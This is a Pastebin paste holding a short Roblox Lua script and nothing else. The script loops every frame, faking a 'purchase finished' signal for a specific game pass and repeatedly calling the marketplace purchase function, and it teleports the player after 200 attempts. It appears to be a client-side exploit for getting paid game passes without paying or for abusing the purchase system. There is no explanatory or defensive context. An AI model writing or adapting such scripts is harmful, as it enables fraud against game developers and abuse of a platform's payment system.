Advertisement
Guest User

Untitled

a guest
Aug 17th, 2019
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. local tries = 0
  2. local gamePassId = 5123096
  3. local market = game:GetService("MarketplaceService")
  4. local http = game:GetService("HttpService")
  5. local info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  6. spawn(function()
  7. while true do
  8. wait()
  9. if tries >= 200 then
  10. game:GetService('TeleportService'):Teleport(game.PlaceId)
  11. end
  12. end
  13. end)
  14.  
  15. game:GetService("RunService").Stepped:connect(function()
  16. tries = tries+1
  17. market:SignalPromptGamePassPurchaseFinished(game:GetService("Players").LocalPlayer, gamePassId, true)
  18. market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  19. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement